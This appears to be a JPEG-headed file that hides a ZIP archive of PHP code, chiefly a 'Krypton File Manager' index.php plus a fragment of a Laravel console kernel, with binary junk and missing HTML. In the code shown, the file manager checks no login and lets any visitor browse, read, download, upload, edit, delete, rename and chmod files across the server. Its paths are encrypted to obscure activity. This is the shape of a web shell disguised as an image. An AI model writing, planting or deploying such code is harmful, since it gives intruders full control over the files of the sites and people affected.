JFIFxxC      C  " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3RbrPK)Z77402829/index.phpnu[ SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> Krypton File Manager

Upload Files

Files

Filename Size Permissions Last Modified Actions
..
- - - -
PK)Z}Q7[ Kernel.phpnu[command('inspire')->hourly(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } PK)Z index.phpnu[PK)Z77402829/index.phpnu[PK)Z}Q7[ wKernel.phpnu[PK)Z Zindex.phpnu[PK